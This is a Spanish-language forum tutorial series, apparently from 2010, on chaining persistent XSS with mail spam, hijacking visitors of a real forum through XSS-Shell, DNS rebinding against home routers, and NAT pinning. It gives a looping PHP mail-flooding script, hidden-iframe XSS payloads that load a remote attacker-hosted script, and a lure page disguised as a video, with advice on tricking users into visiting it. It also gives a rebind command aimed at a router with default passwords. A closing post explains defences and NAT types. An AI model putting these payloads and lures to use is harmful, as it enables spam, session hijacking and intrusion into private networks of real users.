<br><br>";
?>

Oberva la línea que dice "Aquí se pegan las CABECERAS DEL MAIL", habrá que hacer eso... copiar alli el post que capturemos con Live Headers y mira bien el vídeo para que lo hagas "tal cual".

Vídeo 04: Probando un correo de yahoo.

Vale, ahora que ya hemos comprobado que el correo se envía correctamente... vamos a "toquetear" un poco para que:

Las modificaciones de cabeceras y destinatarios lo veremos en el vídeo. Para enviar 10 correos en lugar de uno sólo, usaremos un bucle dentro del script php, quedaría así:

Código [Seleccionar]

<?php
$service_port = getservbyname('www', 'tcp');
$address = gethostbyname('de.mc249.mail.yahoo.com');
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$result = socket_connect($socket, $address, $service_port);
$in = 'CABECERAS DEL MAIL';

$in .= "Connection: Close

"; 
$i=0;

// ENVIAR 10 CORREOS!!!
while ($i<10) {
socket_write($socket, $in, strlen($in));
sleep(1);
$i++;
}
socket_close($socket);
?>

Recuerda que hay que pegar el contenido en la variable $in, veámoslo:

Vídeo 05: Modificamos el correo hacia el destino.

Eureka!!! La víctima recibe 10 mails... ahora la "malicia"

Recordáis el ejemplo del XSS persistente??

Bueno, pues imaginad que en lugar de esa web "cutre" y que no visita ni el "pepe" fuese... youtube o facebook... y que encontrásemos ese bug... resultaría que por cada visita de cada usuario (miles y miles) al inyectar el código persistente... miles y miles multiplicado por 10 correos...

Lo vemos con la web de ejemplo, como es vulnerable al xss presistente, el atacante inyectó este código:

Código [Seleccionar]

<html><iframe src="http://vmthor.site50.net/mail/embudo.php" width=0 height=0 </iframe></html>

El resultado es que todo el que visite http://vmthor.site50.net/miblog2/pagina.php

Si saberlo y por cada visita... se envían 10 correos a la víctima.

Veamos cómo es... vamos a visitar esa web... la vícitma debería recibir 10 correos...

Vídeo 06: Unión del spam con un XSS persistente.

Perfecto... Tenemos una web vulnerable a un XSS Persistente... un "malvado spammer" inyectó un código malicioso que "apunta" a otra web que a su vez carga otra página "oculta" y que envía 10 correos por cada visita. Punto final.

Lógicamente el atacante usará una cuenta de correo "robada" (no necesita usuario ni contraseña...basta con robar las cookies de una posible víctima) o también puede usar una cuenta de correo para ese ataque y luego darla de baja pasado un tiempo... en fin, no es mas que un ejemplo "práctico" y "nefasto" de lo que se puede hacer con un XSS persistente...

Un ejemplo real que causó "estragos" por Facebook, lo corrigieron hace muy poquito, pero os dejo un mirror para que lo probéis:

http://vuln.xssed.net/2010/07/30/www.facebook.com(1)/

Era persistente... y ufff... sin comentarios.

4.- Control del navegador y ejecución de comandos con XSS-Shell

De esto hubo un post en nuestros foros... joer... no me digáis que nadie lo llevó a la práctica... seguro que sí..

http://www.wadalbertia.org/foro/viewtopic.php?f=18&t=3271

Bien, pues vamos a un caso real... para ello me busqué varios foros vulnerables... para hacerlo "sencillo" elegí un phphBB2 de una versión muyyyy antigua, pero nada mas que por comodidad... luego veremos otros mas modernos, mejor dicho... una tienda virtual con lo que la cosa "se agrava" porque podemos comprar en nombre de otro.

Necesitamos un hosting que admita asp para "guardar" la XSS Shell para poder manejar a las vícitmas y debe soportar access como base de datos, os recomiendo jarby y/o 7host que funcionan ok.

Primero nos descargamos Xss-shell (incluye xss-tunnel que lo usaremos mas tarde) desde:

http://www.portcullis-security.com/tools/free/xssshell-xsstunnell.zip

También viene con un "pdf" que explica mas detalladamente que lo haré yo el funcionamiento... lo que no "incluye" es la configuración "a medida"

Una vez descargado subimos al Server el contenido de la carpeta XSSShell - v0.6.2 en algún directorio que hubiésemos creado.

Los archivos que tenemos que "tocar" son:

xssshell.asp que está en la carpeta principal de la "aplicación"
db.asp que está dentro de la carpeta /admin.[/list]

Xss-shell es una demostración de lo peligroso que pueden llegar a ser los ataques Cross Site Scripting, enseguidita lo vemos.

Para saber "donde" debemos colocar la base de datos nos creamos un sencillo script en asp que pregunte al servidor del hosting cual es la unidad y ruta donde almacenar la base de datos, el script es este (lo llamé p.asp)

Código [Seleccionar]

<%
Response.Write Server.MapPath(".")
%>

Este archivo llamado p.asp lo subimos tambien al hosting.

Lo vamos a ver todo seguido en un video

Vídeo 07: Instalar y configurar XSS-Shell. Path de la base de datos.

Bien, acabamos de descubrir que la ruta de instalación de nuestra base de datos debe ser: E:user1veroluluXSS

Luego borramos ese script "por si las moscas" y así nadie sabe la ubicación real de la BBDD.

Ahora lo que tenemos que hacer es modificar el script db.asp de la carpeta admin en xssshell.

Concretamente debemos cambiar el path de la base de datos por el que obtuvimos antes y la contraseña "por defecto" que es w00t. Los encontraréis en las líneas 23 y 124 del script db.asp.

Vídeo 08. Configurar /admin./db.asp de XSS-Shell

Ahora probamos que nos podemos conectar con el script xssshell...

Vídeo 09: Comprobar que nos conectamos a Xssshell

Todo va estupendamente... ahora tenemos que configurar el script xssshell.asp pero antes... como no vamos a usar los ejemplos que vienen con la aplicación, nos buscamos una web vulnerable... como dije, cualquiera que presente un bug XSS nos sirve, probemos con footbag... antes de ver la configuración de xssshell.asp vamos a ver el bug de estos foros (son muy antiguos, pero nos servirán muy bien como ejemplo)

Ya me registré en estos foros hace mucho tiempo (precisamente para probar esto y explicarlo a mis alumnos...) el usuario es Veronicasinmas, el nick es viclulu y la contraseña... esa no os la digo... aunque tal y como está eso... casi mejor sería decirla

usaremos un XSS de las faq de phpbb2, este es:

Código [Seleccionar]

http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert("Dios Existe!!!")</script>

Código [Seleccionar]

http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert("Dios Existe!!!")</script>

De momento no es necesario registrarse... solo probar...

Video 10: Buscando foros....

Ok. Tenemos un bonito XSS en ese foro... ahora lo tenemos que "enlazar" con el script xssshell.asp, allá sobre la línea 72 la variable del Server debe apuntar a: http://free.7host05.com/verolulu/XSS/

Que es donde tenemos hospedado a xsshell

Vídeo 11: Configurar xssshell.asp

Bien ya lo tenemos todo configurado... la ventaja de hacerlo así es que todo lo que ya hemos configurado nos servirá para CUALQUIER web vulnerable....

Ahora... ¿Cómo "caerá" la vícitma??

Pues tendremos que "incitarle" a que visite otra web, esto en unos foros como los nuestros está chupado puesto que es normal, común y lógico que los usuarios enlacen a otros sitios de interés... también podemos usar correos, mensajes privados... en fin lo que se nos ocurra.

¿Y qué ha de contener ese "nueva web"?

Pues además de unos bonitos contenidos, interesantes... debe "llamar" a xsshell junto con el bug de XSS.

Es decir... si recuerdas el bug del XSS era mas o menos así:

Código [Seleccionar]

http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert(DiosExiste!!!)</script>

Pues sencillamente en lugar de el alert... ponemos una llamada hacia nuestro xssshell. Por ejemplo esto:

Código [Seleccionar]

http://www.footbag.org/forum/faq.php?faq[0][0]= <script src="http://free.7host05.com/verolulu/XSS/xssshell.asp"></script>

Obviamente hay pocas esperanzas que el/la víctima piche en semejante cosa como esa... podriamos usar un minilink, si... es una opción... pero es como mas elegante esto:

Código [Seleccionar]

<html>
<object width="960" height="745">
	<param name="movie" value="http://www.youtube.com/v/pNtrQnbO9yM?fs=1&amp;hl=es_ES"></param>
	<param name="allowFullScreen" value="true"></param>
	<param name="allowscriptaccess" value="always"></param>
	<embed src="http://www.youtube.com/v/pNtrQnbO9yM?fs=1&amp;hl=es_ES" 
	type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="300">
	</embed>
</object>

<iframe src="http://www.footbag.org/forum/faq.php?faq[0][0]=<script src='http://free.7host05.com/verolulu/XSS/xssshell.asp'></script>" width=0 height=0 </iframe>
</html>

Esto lo guardamos (por ejemplo con el nombre videofootbag.html y lo subimos a cualquer otro hosting (o al mismo de 7host pero no es necesario que sea el mismo) y en los foros de footbag.org posteamos un link diciendo que menudo peazo vídeo de footbag que hemos encontrado... y punto pelota.

Vemos en el proximo video esto mismo...

Vídeo 12: Preparando la web maliciosa

Lo único que tenemos que hacer es postear en ese foro algo que incluya este enlace:

Código [Seleccionar]

http://vmthor.site50.net/footbag/videofootbag.html

Y todo el que pinche allí... pues se conectará con nuestra shell alojada en 7host y ... bueno mejor lo vemos....

Los pasos son:

Vídeo 13: Finalizando el ataque XSS-Shell

Jaaaa... estarás preguntándote... menuda "*****" de ataque!!!! NO funciona nada!!!!

Es cierto (y no lo es) para xssshell funcione medianamente bien, desde el atacante necesitamos Internet Explorer 6 (con IE7 dependerá de las actualizaciones que tengamos) ojo... digo de cara al atacante... la víctima puede tener lo-que-sea.

Vamos, que como tengo IE8 no funcionan los comandos de XSSShell desde la web... siiii sólo desde la web...

Ahora vamos a rematar esto... que nos queda un mal sabor de boca ;(

Vamos a ver en el vídeo qué ocurre cuando usamos XSS-Tunnel esto sí que mola.

Vídeo 14. XSS-Tunnel. Sin comentarios....

6.- Acceso a la Red local Víctima con Anti DNS pinnig y Rebind DNS

Como queráis llamarlo... o Anti-DNS pinnig o DNS Rebind... los dos valen.

Bueno, ¿Y qué es esto?

El Anti-DNS pinnig es una técnica que utilizan los navegadores, servidores web's, routers, etc.. para evitar precisamente lo que se conoce como rebind DNS, vamos, que te has quedado igual...

Haré un resumen muy, muy, breve. Para mas información... ya sabes... internete + Google.

Supongamos este caso:

1.- Un usuario accede a http://www.malo.com antes de ello, debe resolver la ip y hace las consultas DNS pertinentes.

2.- el dominio malo.com está bajo el control del atacante y ha configurado el dns del proveedor de turno para que apunte a su máquina local, por tanto, los dns de Internet le dirán al visitante que malo.com es 1.1.1.1 (por ejemplo)

3.- El ordenata de la vicitima se conecta con la máquina del atacante para preguntarle cúal es la ip de la máquina www puesto que le han dicho sus servidores que es él quien lo sabe...

4.- El dns del atacante le dice que http://www.malo.com es tal o cual ip (por ejemplo la misma 1.1.1.1) PERO le envía un TTL (un tiempo de vida de esa consulta) muy, muy bajo... de uno o dos segundos nada mas.

5.- la vícitma está feliz, ya tiene todo lo que buscaba pero en breve esa consulta le "caducará"

6.- Por otra parte, una vez que la víctima accedió a http://www.malo.com (además de las paginitas web que queramos servir) el atacante le envía un... una imagen, un frame, un lo-que-sea, para que acceda a (por ejemplo) x125jpvv.malo.com.

7.- La víctima tiene que volver a preguntar quien es x125jpvv.malo.com, como el TTL de malo.com ya le ha caducado, vuelve a preguntar a los DNS de Internet que le vuelven a remitir a la ip del atacante (1.1.1.1)

8.- El atacante, bloquea las peticiones DNS que vengan de la IP de la vícitma que intenten resolver http://www.malo.com y LE DICE que x125jpvv.malo.com es LA IP DE LA VÍCTIMA.

9.- La víctima sigue queriendo acceder a http://www.malo.com y no puede porque el atacante le bloqueó, pero sí puede llegar (vía DNS del atacante) a la otra máquina que realmente es su propia IP.

10.- Además, y sin que la víctima lo supiese, el atacante levantó un PROXY entre él y la víctima de tal forma que para conectarse a malo.com la víctima utiliza el Proxy del atacante (esto lo consigue porque el atacante utilizó por ejemplo un applet de java), como es su propia IP, qué pasará??

Pues que el atacante tiene una vía directa de comunicación con la IP de la víctima mediante el Proxy.

Para poder realizar todo esto también hay que "luchar" contra las consabidas políticas del mismo origen, pero para el atacante es sencillo... la segunda respuesta DNS y la "redirección" hacia el "objetivo" la hace por otro puerto diferente al inicial, es decir, uno que no sea el 80.

Bueno, tenéis una información mas completa por ejemplo aquí:

https://www.blackhat.com/presentations/bh-usa-07/Byrne/Presentation/bh-usa-07-byrne.pdf

En la DEfcon de Agosto-2010 en Las Vegas se "volvió a presentar este mismo ataque" pero que sepáis que lleva "representandose" con éxito desde hace la friolera de 16 añitos...

Si además lo unimos a un XSS, pues... de vicio, en los ejemplos que veremos mas adelante no utilizo XSS, sencillamente la vícitma visita directamente la web del atacante.

Vale y???

Pues que... ¿Qué es lo que "casi todos" nosotros (usuarios domésticos) tenemos "casi siempre" escuchando por el puerto 80 aunque sólo podamos acceder desde dentro?

Exacto!!! Nuestro Router!!!

Pues eso es lo que se consigue, mediante el DNS Rebind el atacante puede acceder a los recursos internos y no accesibles desde Internet como si estuviese "dentro" de la red de la víctima (no necesariamente ha de ser el router)

Hombre... dirás... pero y el usuario/contraseña... pues sí, claro.. si no tenemos usuario y contraseña no vale... pero... ¿Cuántos hay por ahí que siguen usando las "de fábrica"?

admin/admin, 1234/1234, nada, etc, etc, etc... a mi me vienen unos cuantos MILES!!!

En fin, es enrevesado, pero demoledor habida cuenta de lo que ya hemos visto en las partes anteriores de lo que se puede hacer con acceso al router.

RECUERDA que para que todo funcione el atacante debe tener registrado un dominio en Internet y control total sobre el DNS, de otro modo no funcionará... lo digo por si os aventuráis con servicios como dyndns, noip, etc... esos no nos valen, necesitamos control de todo el dominio, no de subdominios.

En la escenificación que viene a continuación el atacante tiene registrado el dominio amarasadios.com siendo la web "malvada"

http://www.amarasadios.com/init

Cuando llegue el making-of ya os cuento mas...

Pues venga.. a lo nuestro...

Descargamos en la máquina del atacante rebind:

http://rebind.googlecode.com/files/rebind_0-3-4.tar.gz

Lo descomprimimos e instalamos en nuestro sistema.

Mientras tanto... veamos antes de hacer un dns rbind si el atacante puede acceder o no...

Vídeo 15: Antes del Anti-DNS Pinning

Bueno... pues parece que no se puede...

Ahora vamos a lanzar a rebind.... Así:

Código [Seleccionar]

./rebind –d amarasadios.com –i eth0 –t 193.251.1.17 –u '' –a '' –n 1000

Código [Seleccionar]

-d nombre dominio del atacante
-i interface por donde trabajará rebind
-t dirección ip del objetivo
-u '' nombre usuario (p.e. en un router 'estándar'  1234, admin., etc..)
-a '' contraseña (idem de lo anterior)
-n milisegundos del TTL

Ahora El final...

Vídeo 16: Anti-DNS pinning funcionando....

Bien... pues ya está finalizada esta parte...

Os recuerdo que las cuentas de correo de los ejemplos las he desactivado, también está fuera de combate las webs de xsshell.

Y un último vídeo... (este tiene sonido, jejeje) creo recordar que fue el_chaman quien le puso "ritmo" si no es así... que me perdone el susodicho.

Saludos.

ChimoC · 30 Octubre 2010, 13:33 PM

OTROS CONCEPTOS

NAT PINNING

Este es un concepto realmente nuevo para muchos de nosotros.... Seguro que mas de uno ni tan siquiera lo ha oído nombrar.

Voy a empezar por el final.

Se trata de obligar al router a realizar un reenvío de paquetes hacia una máquina que está escuchando por un puerto cualquiera.

Hombre... eso es NAT, tampoco es para tanto....

Sí, pero.... ES QUE EL ROUTER NO ESTÁ HACIENDO NAT!!!!

Es decir, supongamos un router que BLOQUEA TODO el tráfico proveniente de Internet, no hay NAT, no hay DMZ, no hay mapeo de puertos, en resumen... que esa red NO OFRECE SERVICIOS HACIA EL EXTERIOR.

Y sin embargo, gracias a NAT pinning vamos a ser capaces de acceder a los servidores web internos, a los ftp internos, a lo-que-sea que está corriendo en la máquina local... sin XSS, sin CSRF, sin nada de lo que ya conocemos...y vamos a acceder a esos servicios DESDE INTERNET!!! Y CON EL ROUTER VICTIMA CON TODOS LOS PUERTOS CERRADOS!!!!

Y eso?

Pues gracias a una "característica" de los routers "modernos" NAT-T o NAT Transversal o también llamado NAT Transparente.

NAT-T es un "avance" para muchos servicios, sobre todo para la telefonía IP y consiste en que el router cuando se "da cuenta" que para acceder a un determinado protocolo el cliente debe abrir un puerto para comunicarse con el servidor... pues lo hace.

Realmente la comunicación NAT-T puede ser llamada cliente-cliente (como pueden ser las comunicaciones peer-to-peer o como ya he dicho VoIP)

De todos es sabido que cuando queremos ofrecer un servicio interno de cara a Internet tenemos que "abrir un puerto" que apunte hacia la máquina local.... Pero qué ocurre en las comunicaciones P2P o VoIP??? Pues que no sólo dependen de un puerto, también del usuario, cambian los puertos por cada conexión, etc...

Para solucionar este problema, los routers se hicieron más... inteligentes. Además de transmitir los paquetes analizan qué es lo que están transmitiendo, y cuando conocen el protocolo actúan de forma proactiva 'abriendo' temporalmente un puerto.

Chulo, verdad?

Pues sí... es muy chulo, pero cuando llega "alguien" y se quiere aprovechar de esto deja de ser chulo y se convierte en un peligro.

Obviamente los puertos "temporales" son dinámicos y no ofrecen servicio alguno... pero... y un usuario desde (un servidor web interno, por ejemplo) navega a una página "malvada" y esa página hace un "rebind" del puerto 80 gracias a NAT-T???

Pues el resultado final es que cualquiera podrá acceder a dicho Server interno desde Internet... cosa que ya no es chula.

Lo que vamos a realizar es una simulación de servicios... de la siguiente forma:

1.- EL router "vícitma" NO OFRECE ningún servicio hacia INTERNET
2.- El cliente "víctima" navega por la red usando como ordenata un servidor web interno y/o un servidor ftp interno.
Repito lo de interno... NO SE ACCEDE A ELLOS DESDE INTERNET.
3.- El cliente vícitma llega a una web "malvada" que "le obliga" a establecer una conexión hacia un servidor IRC por el puerto 6667 y hace un rebind de los puertos 80 y 21.

Aclaración: El servidor IRC no es "culpable de nada" ni tiene que ver en el ataque... usamos IRC para establecer una falsa comunicación DCC porque este protocolo necesita que el cliente abra un puerto "extra" y como el router es "inteligente" reconoce el protocolo y hace NAT-T por nosotros.

4.- Lo que hará esa web "maligna" es obligar al router a usar como puerto NAT-T temporal el mismísimo puerto 80... de tal forma que el cliente queda expuesto desde Internet... podremos acceder a ese servidor web desde fuera con los puertos del router CERRADOS:

Bien, la demostración "práctica" no es mia.... Se la debemos a Samy Kamkar y presentó esta técnica en BlackHat 2010

http://media.blackhat.com/bh-us-10/presentations/Kamkar/BlackHat-USA-2010-Kamkar-How-I-Met-Your-Girlfriend-slides.pdf

Os recomiendo que también leáis otro "aporte" de este individuo que viene a decir algo así "Cómo conocí a tu chica" y que presentó en la DefCon 2010 de las Vegas (incluido en el enlace anterior) de tal forma que usando maps.google.com es capaz de localizar a una persona gracias a la MAC del router.... Bueno, y gracias al cochecito ese del Google Street View que además de sacar esas bonitas fotos para que veamos "en vivo" un lugar... de paso esnifa wifis, mac's, ssid, etc... estos de Google.

A lo que vamos... he "ajustado" un poco el código base de Samy Kamkar (prácticamente adaptarlo al hosting y la visualización) para que lo podamos probar todos.

Está aquí: http://vmthor.site50.net/natp/natp.html

Os prometo que no "recojo" nada... jejeje.... Solo se fuerza AL router a abrir El puerto.

En el vídeo que viene a continuación lo veréis claro. También hay que comentar es que no todos los routers serán vulnerables a ello, pero apuesto a que aquellos que permiten NAT-T lo serán en su gran inmensa mayoría...

Disfrutad del vídeo, es "profundo"

ChimoC · 30 Octubre 2010, 13:37 PM

Defensa....

Desde el cliente es "mas o menos" sencillo:

El problema viene cuando lo queremos parar desde el router y/o FW.

En los routers "domésticos" es a veces imposible, puesto que las ACL o filtros que tienen se basan mas en las conexiones entrantes que en las salientes... y como la conexión se originó desde dentro... pues lo deja pasar.

Otra posibilidad es desactivar NAT-T (si el router lo admite), creo que tengo que explicar algo mas de NAT y NAT-T para que se entienda bien la problemática.

Podríamos distinguir entre 4 tipos de NAT, que son:

Full NAT que viene a ser como operaría un host de la DMZ, todo lo que llega se le envía a él. Pero ojo!!! es posible utilizar FULL NAT en todos los equipos de la red (luego cuando veamos NAT-T se entenderá mejor) En este modo de Full-NAT las direcciones se traducen desde cualquier máquina de la red interna y pueden recibir cualquier tráfico entrante de Internet por cualquier puerto. Vamos... "tipo modem" abierto como una sandía....

Ejemplo: server 1, server 2, server 3... etc pueden acceder a la red interna por cualquier puerto.

Restricted NAT, En este caso se traducen las direcciones hacia un determinado host de Internet. El cliente abre su puerto dinámico para recibir las respuestas (y el router también) de tal forma que CUALQUIER otro host de internet se puede comunicar con el cliente interno por el puerto elegido.

Ejemplo: El cliente interno accede a Servidor 1 por el puerto 80 y el router abre un puerto dinámico (por ejemplo el 2222) para recibir las respuestas. Por tanto Servidor 1 se puede comunicar con el cliente por el puerto 2222, pero también podría hacer lo mismo servidor 2, servidor 3, etc... es decir cualquiera desde internet se puede comunicar con "nosotros" si lo hace por el puerto 2222.

Port Restricted NAT, muy parecido al anterior, pero el router sólo admitirá las respuestas por el puerto dinámico abierto si fueron establecidas desde dentro y sólo del host de Internet con el que se comunicó el cliente interno

Ejemplo: El cliente se comunica con Servidor 1 por el puerto 80 y se abre el puerto 2222 para recibir las respuestas. Servidor 1 puede acceder por el puerto 2222 pero servidor 2, servidor 3, etc... NO podrán.

NAT simétrico, también llamado nat-to-nat, cualquier petición de una ip interna y puerto hacia alguna ip destino y puerto destino se "mapean" a una única ip externa y a un único puerto. Solamnete los host externos que reciben paquetes de la red interna pueden enviar tráfico UDP de vuelta a la red interna. Por cada conjunto ip-puerto externo se crea un mapa NAT diferente.

Ejemplo: esto se usa a menudo en VPN's cuando la red interna o cliente VPN utiliza el mismo rango de red que la red destino.

Bueno, también tendríamos otro caso de NAT, que es cuando queremos ofrecer un servicio interno de cara al exterior... Se mapean puertos/protcolos hacia una o varias ip's de la red interna.

Ejemplo: Queremos poner un servidor web interno para que sea accesible desde internet.

Vale, ahora veamos NAT-T.

Como ya dije, las comunicaciones "modernas" a veces exigen que mas de un puerto sea abierto, VoIP, VPN's, P2P, etc.. esos puertos abiertos "según el tipo de comunicación" son temporales y no es necesario la intervención del usuario.

No sólo ocurre esto con "servicios" (VoIP, vpn...) también con aplicaciones... por ejemplo skype, emule, etc...

Para ello se "inventó" Nat transversal y podemos distinguir 4 tipos básicos:

1.- UPnP La arquitectura UPnP permite a los desarroladores de aplicaciomes, redes P2P, WiFi, etc... conectar los dispositivos automáticamente sin necesidad de hacer NAT específicamente para cada puerto, usuario, dispositivo.

Cuando una máquina necesita una conexión, UpnP configura automáticamente el router con su dirección ip y puerto NAT traversal con UPnP se cono IGD (Internet Gateway Device) que en definitiva no es otra cosa que un protocolo mas.

La desventaja de UPnP es que todos los dispositivos de la red deben soportarlo, si uno solo no lo permite... pues no se puede realizar la comunicación peer-to-peer.

2.- STUN. Es otro protocolo, usado normalmente entre cliente y servidor. La aplicación del cliente envía las solicitudes correspondientes al server STUN (como puede ser nuestro server del IRC del ejemplo) y el servidor le devuelve al router la dirección ip global por la que tiene que hacer NAT y también informa del número de puerto por la que le llegará el tráfico hacia la red privada (este es nuestro caso "problemático")

STUN también determina el tipo de NAT a usar (restricted port, full nat, restricted nat.) STUN no trabaja con NAT simétrico pero lo hace bien con los otros tres tipos. Por lo general, el protocolo STUN utiliza Restricted NAT.

3.- Teredo. Es otro protocolo propuesto por Microsoft basado en la tecnología de túnel de IPv6. Un cliente Teredo obtiene la dirección IPv6 de un Teredo Server y se comunican con otros clientes Teredo's mediante nodos IPv6 a través de un Teredo Relay, utilizando túneles UDP en IPv4 (4, no 6)

Teredo tampoco es compatible con NAT simétrico, bueno, no funcina bien.

4.- UDP multihole punching. Este método establece conexiones mediante UDP entre dos puntos finales a trvés de NAT.

Controla el número de puerto y valores como el TTL y lo podemos usar con NAT simétrico. También funciona ok con los otros tipos de NAT.

Realmente este tipo de NAT-T es una "extensión" del NAT Transversal para TCP y tiene como ventaja que las comunicaciones UDP son "mas sencillas" que las TCP

Bufff. perdonad por el rollo, pero me parecía importante explicar la teoría para que entendamos como parar esto del NAT Pinning. :x

Vale... y???

Pues que como empecé... en los routers (si lo permiten) tendremos que desactivar UPnP, IGD, STUN, Teredo y el multihole de udp.

Esto no es "usual" en los routers domésticos... En algunos podemos "filtrar" las conexiones salientes por determinados puertos y en el caso de los host de una DMZ con mas motivo. Vamos, que hay que tener un router "en condiciones" y a veces ni eso... por ejemplo, muchas de las IOS de Cisco (hasta las mas modernas) no permiten desabilitar NAT-T para determinadas conexiones... es decir, o lo desactivamos o lo activamos... Hay que usar un PIX para proteger (sobretodo) a la DMZ.

También hay que tener en cuenta, que NAT-T puede ser necesario (repito, VoIp y vpn son los mejores ejemplos de ello)

Lo mejor... de cara al cliente... es mas sencillo y tenemos mas recursos.

En cuanto a lo de esnifar la conexión... pues no se me ocurre nada porque no sólo se puede usar un server IRC para obligar a hacer NAT-T, puede ser FTP, SIP, etc, etc, etc... hasta ni eso... puede ser cualquier puerto o servicio... siempre que el atacante utilice un STUN server por ese puerto e informe al router víctima que haga NAT-T.

Pues eso... culturilla que nunca viene mal.